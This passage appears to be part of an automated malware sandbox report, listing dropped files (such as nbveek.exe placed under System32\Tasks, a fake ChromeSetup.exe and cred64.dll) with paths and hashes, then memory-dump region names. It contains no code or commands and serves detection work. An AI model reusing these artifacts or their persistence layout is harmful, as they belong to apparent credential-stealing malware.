                                                                                • SHA256 b597b1c638ae81f03ec4baafa68dda316d57e6398fe095a58ecc89e8bcc61855
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                nbveek.exe

                                                                                • Path C:\Windows\System32\Tasks\nbveek.exe
                                                                                • Size 3KB
                                                                                • SHA256 ef5d439a7a4ea9ca687f2d7074991527f0a32fbf809edc2856af286c6a7f61af
                                                                                • MD5 SHA1 SHA512

                                                                                pb1111.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\1000089001\pb1111.exe
                                                                                • Size 3.5MB
                                                                                • SHA256 ac371bda90a40da22f6fcf633b7ad731c9b11de21cc91ed47ab12cbe18d18ae5
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                pb1111.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\1000089001\pb1111.exe
                                                                                • Size 3.5MB
                                                                                • SHA256 ac371bda90a40da22f6fcf633b7ad731c9b11de21cc91ed47ab12cbe18d18ae5
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                pb1111.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\1000089001\pb1111.exe
                                                                                • Size 3.5MB
                                                                                • SHA256 ac371bda90a40da22f6fcf633b7ad731c9b11de21cc91ed47ab12cbe18d18ae5
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                pb1111.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\1000089001\pb1111.exe
                                                                                • Size 3.5MB
                                                                                • SHA256 ac371bda90a40da22f6fcf633b7ad731c9b11de21cc91ed47ab12cbe18d18ae5
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                random.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\1000090001\random.exe
                                                                                • Size 160KB
                                                                                • SHA256 01138f2318e59e1fe59f1eb7de3859af815ebf9a59aae1084c1a97a99319ee35
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                random.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\1000090001\random.exe
                                                                                • Size 160KB
                                                                                • SHA256 01138f2318e59e1fe59f1eb7de3859af815ebf9a59aae1084c1a97a99319ee35
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                random.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\1000090001\random.exe
                                                                                • Size 160KB
                                                                                • SHA256 01138f2318e59e1fe59f1eb7de3859af815ebf9a59aae1084c1a97a99319ee35
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                XandETC.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\1000091001\XandETC.exe
                                                                                • Size 3.7MB
                                                                                • SHA256 f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                nbveek.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
                                                                                • Size 244KB
                                                                                • SHA256 619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                ChromeSetup.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\ChromeSetup.exe
                                                                                • Size 298KB
                                                                                • SHA256 6164128b4834ad44cc9f6cd3f5f50c38a97e07d43fc07c260f733d85abac233b
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                ChromeSetup.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\ChromeSetup.exe
                                                                                • Size 298KB
                                                                                • SHA256 6164128b4834ad44cc9f6cd3f5f50c38a97e07d43fc07c260f733d85abac233b
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                ChromeSetup.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\ChromeSetup.exe
                                                                                • Size 298KB
                                                                                • SHA256 6164128b4834ad44cc9f6cd3f5f50c38a97e07d43fc07c260f733d85abac233b
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                ChromeSetup.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\ChromeSetup.exe
                                                                                • Size 298KB
                                                                                • SHA256 6164128b4834ad44cc9f6cd3f5f50c38a97e07d43fc07c260f733d85abac233b
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                Player3.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\Player3.exe
                                                                                • Size 244KB
                                                                                • SHA256 619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                birges.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\birges.exe
                                                                                • Size 676KB
                                                                                • SHA256 0c346b8657a834a536575fb82a6b9ee37c738547fb2e4de821917d9131ec3fe2
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                db.dll

                                                                                • Path \Users\Admin\AppData\Local\Temp\db.dll
                                                                                • Size 52KB
                                                                                • SHA256 ec01d244074f45d4f698f5713147e99d76053824a648b306e1debf69f3ba9ce6
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                db.dll

                                                                                • Path \Users\Admin\AppData\Local\Temp\db.dll
                                                                                • Size 52KB
                                                                                • SHA256 ec01d244074f45d4f698f5713147e99d76053824a648b306e1debf69f3ba9ce6
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                db.dll

                                                                                • Path \Users\Admin\AppData\Local\Temp\db.dll
                                                                                • Size 52KB
                                                                                • SHA256 ec01d244074f45d4f698f5713147e99d76053824a648b306e1debf69f3ba9ce6
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                db.dll

                                                                                • Path \Users\Admin\AppData\Local\Temp\db.dll
                                                                                • Size 52KB
                                                                                • SHA256 ec01d244074f45d4f698f5713147e99d76053824a648b306e1debf69f3ba9ce6
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                db.dll

                                                                                • Path \Users\Admin\AppData\Local\Temp\db.dll
                                                                                • Size 52KB
                                                                                • SHA256 ec01d244074f45d4f698f5713147e99d76053824a648b306e1debf69f3ba9ce6
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                db.dll

                                                                                • Path \Users\Admin\AppData\Local\Temp\db.dll
                                                                                • Size 52KB
                                                                                • SHA256 ec01d244074f45d4f698f5713147e99d76053824a648b306e1debf69f3ba9ce6
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                db.dll

                                                                                • Path \Users\Admin\AppData\Local\Temp\db.dll
                                                                                • Size 52KB
                                                                                • SHA256 ec01d244074f45d4f698f5713147e99d76053824a648b306e1debf69f3ba9ce6
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                db.dll

                                                                                • Path \Users\Admin\AppData\Local\Temp\db.dll
                                                                                • Size 52KB
                                                                                • SHA256 ec01d244074f45d4f698f5713147e99d76053824a648b306e1debf69f3ba9ce6
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                liuyuzhen.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\liuyuzhen.exe
                                                                                • Size 160KB
                                                                                • SHA256 01138f2318e59e1fe59f1eb7de3859af815ebf9a59aae1084c1a97a99319ee35
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                liuyuzhen.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\liuyuzhen.exe
                                                                                • Size 160KB
                                                                                • SHA256 01138f2318e59e1fe59f1eb7de3859af815ebf9a59aae1084c1a97a99319ee35
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                liuyuzhen.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\liuyuzhen.exe
                                                                                • Size 160KB
                                                                                • SHA256 01138f2318e59e1fe59f1eb7de3859af815ebf9a59aae1084c1a97a99319ee35
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                pb1111.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\pb1111.exe
                                                                                • Size 3.5MB
                                                                                • SHA256 ac371bda90a40da22f6fcf633b7ad731c9b11de21cc91ed47ab12cbe18d18ae5
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                pb1111.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\pb1111.exe
                                                                                • Size 3.5MB
                                                                                • SHA256 ac371bda90a40da22f6fcf633b7ad731c9b11de21cc91ed47ab12cbe18d18ae5
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                pb1111.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\pb1111.exe
                                                                                • Size 3.5MB
                                                                                • SHA256 ac371bda90a40da22f6fcf633b7ad731c9b11de21cc91ed47ab12cbe18d18ae5
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                pb1111.exe

                                                                                • Path \Users\Admin\AppData\Local\Temp\pb1111.exe
                                                                                • Size 3.5MB
                                                                                • SHA256 ac371bda90a40da22f6fcf633b7ad731c9b11de21cc91ed47ab12cbe18d18ae5
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                cred64.dll

                                                                                • Path \Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll
                                                                                • Size 1.0MB
                                                                                • SHA256 b597b1c638ae81f03ec4baafa68dda316d57e6398fe095a58ecc89e8bcc61855
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                cred64.dll

                                                                                • Path \Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll
                                                                                • Size 1.0MB
                                                                                • SHA256 b597b1c638ae81f03ec4baafa68dda316d57e6398fe095a58ecc89e8bcc61855
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                cred64.dll

                                                                                • Path \Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll
                                                                                • Size 1.0MB
                                                                                • SHA256 b597b1c638ae81f03ec4baafa68dda316d57e6398fe095a58ecc89e8bcc61855
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                cred64.dll

                                                                                • Path \Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll
                                                                                • Size 1.0MB
                                                                                • SHA256 b597b1c638ae81f03ec4baafa68dda316d57e6398fe095a58ecc89e8bcc61855
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                cred64.dll

                                                                                • Path \Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll
                                                                                • Size 1.0MB
                                                                                • SHA256 b597b1c638ae81f03ec4baafa68dda316d57e6398fe095a58ecc89e8bcc61855
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                cred64.dll

                                                                                • Path \Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll
                                                                                • Size 1.0MB
                                                                                • SHA256 b597b1c638ae81f03ec4baafa68dda316d57e6398fe095a58ecc89e8bcc61855
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                cred64.dll

                                                                                • Path \Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll
                                                                                • Size 1.0MB
                                                                                • SHA256 b597b1c638ae81f03ec4baafa68dda316d57e6398fe095a58ecc89e8bcc61855
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                cred64.dll

                                                                                • Path \Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll
                                                                                • Size 1.0MB
                                                                                • SHA256 b597b1c638ae81f03ec4baafa68dda316d57e6398fe095a58ecc89e8bcc61855
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                cred64.dll

                                                                                • Path \Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll
                                                                                • Size 1.0MB
                                                                                • SHA256 b597b1c638ae81f03ec4baafa68dda316d57e6398fe095a58ecc89e8bcc61855
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                cred64.dll

                                                                                • Path \Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll
                                                                                • Size 1.0MB
                                                                                • SHA256 b597b1c638ae81f03ec4baafa68dda316d57e6398fe095a58ecc89e8bcc61855
                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                memory/292-92-0x00000000010E0000-0x000000000118C000-memory.dmp

                                                                                memory/292-109-0x0000000000940000-0x00000000009C2000-memory.dmp

                                                                                memory/344-68-0x0000000140000000-0x0000000140618000-memory.dmp

                                                                                memory/364-114-0x0000000000400000-0x0000000000441000-memory.dmp

                                                                                memory/560-237-0x000000000265B000-0x000000000267A000-memory.dmp

                                                                                memory/560-231-0x000000000265B000-0x000000000267A000-memory.dmp

                                                                                memory/560-223-0x000007FEEEA30000-0x000007FEEF453000-memory.dmp

                                                                                memory/560-225-0x000007FEF2E30000-0x000007FEF398D000-memory.dmp

                                                                                memory/560-230-0x0000000002654000-0x0000000002657000-memory.dmp

                                                                                memory/636-107-0x00000000002E0000-0x000000000033E000-memory.dmp

                                                                                memory/636-106-0x00000000020D0000-0x00000000021D1000-memory.dmp

                                                                                memory/872-195-0x00000000009A0000-0x00000000009ED000-memory.dmp

                                                                                memory/872-193-0x00000000009A0000-0x00000000009ED000-memory.dmp

                                                                                memory/872-112-0x0000000000880000-0x00000000008CD000-memory.dmp

                                                                                memory/872-120-0x0000000000880000-0x00000000008CD000-memory.dmp

                                                                                memory/872-113-0x0000000001BC0000-0x0000000001C32000-memory.dmp

                                                                                memory/872-194-0x0000000001E50000-0x0000000001EC2000-memory.dmp

                                                                                memory/896-111-0x0000000000490000-0x0000000000502000-memory.dmp

                                                                                memory/896-192-0x0000000002AC0000-0x0000000002BCA000-memory.dmp

                                                                                memory/896-119-0x0000000000490000-0x0000000000502000-memory.dmp

                                                                                memory/896-125-0x000007FEFB6D1000-0x000007FEFB6D3000-memory.dmp

                                                                                memory/896-129-0x0000000001FB0000-0x0000000001FD0000-memory.dmp

                                                                                memory/896-130-0x0000000001FD0000-0x0000000001FEB000-memory.dmp

                                                                                memory/896-110-0x0000000000060000-0x00000000000AD000-memory.dmp

                                                                                memory/896-128-0x0000000002AC0000-0x0000000002BCA000-memory.dmp

                                                                                memory/896-104-0x0000000000060000-0x00000000000AD000-memory.dmp

                                                                                memory/896-127-0x0000000001C30000-0x0000000001C4B000-memory.dmp

                                                                                memory/1064-54-0x0000000000DE0000-0x00000000012BA000-memory.dmp

                                                                                memory/1064-55-0x0000000075701000-0x0000000075703000-memory.dmp

                                                                                memory/1368-216-0x000000000270B000-0x000000000272A000-memory.dmp

                                                                                memory/1368-188-0x00000000003D0000-0x000000000042E000-memory.dmp

                                                                                memory/1368-187-0x0000000001EA0000-0x0000000001FA1000-memory.dmp

                                                                                memory/1368-215-0x0000000002704000-0x0000000002707000-memory.dmp

                                                                                memory/1368-214-0x0000000002704000-0x0000000002707000-memory.dmp

                                                                                memory/1368-212-0x000007FEF2F60000-0x000007FEF3983000-memory.dmp

                                                                                memory/1368-213-0x000007FEEE900000-0x000007FEEF45D000-memory.dmp

                                                                                memory/1592-240-0x000007FEEE900000-0x000007FEEF45D000-memory.dmp

                                                                                memory/1592-244-0x0000000002574000-0x0000000002577000-memory.dmp

                                                                                memory/1592-245-0x000000000257B000-0x000000000259A000-memory.dmp

                                                                                memory/1592-239-0x000007FEF2F60000-0x000007FEF3983000-memory.dmp

                                                                                memory/1592-241-0x0000000002574000-0x0000000002577000-memory.dmp

                                                                                memory/1748-98-0x0000000000400000-0x0000000000466000-memory.dmp

                                                                                memory/1748-96-0x0000000000590000-0x00000000005A5000-memory.dmp

                                                                                memory/1748-117-0x0000000000230000-0x000000000023D000-memory.dmp

                                                                                memory/1748-118-0x0000000000400000-0x0000000000466000-memory.dmp

                                                                                memory/1748-97-0x0000000000230000-0x0000000000296000-memory.dmp

                                                                                memory/1844-143-0x0000000140000000-0x0000000140618000-memory.dmp

                                                                                memory/1988-271-0x00000000010D4000-0x00000000010D7000-memory.dmp

                                                                                memory/1988-260-0x000007FEEE900000-0x000007FEEF45D000-memory.dmp

                                                                                memory/1988-259-0x000007FEF3250000-0x000007FEF3C73000-memory.dmp

                                                                                memory/1988-272-0x00000000010DB000-0x00000000010FA000-memory.dmp

                                                                                memory/2044-254-0x0000000001314000-0x0000000001317000-memory.dmp

                                                                                memory/2044-253-0x000000000131B000-0x000000000133A000-memory.dmp

                                                                                memory/2044-252-0x0000000001314000-0x0000000001317000-memory.dmp

                                                                                memory/2044-251-0x000007FEEDDA0000-0x000007FEEE8FD000-memory.dmp

                                                                                memory/2044-250-0x000007FEF31E0000-0x000007FEF3C03000-memory.dmp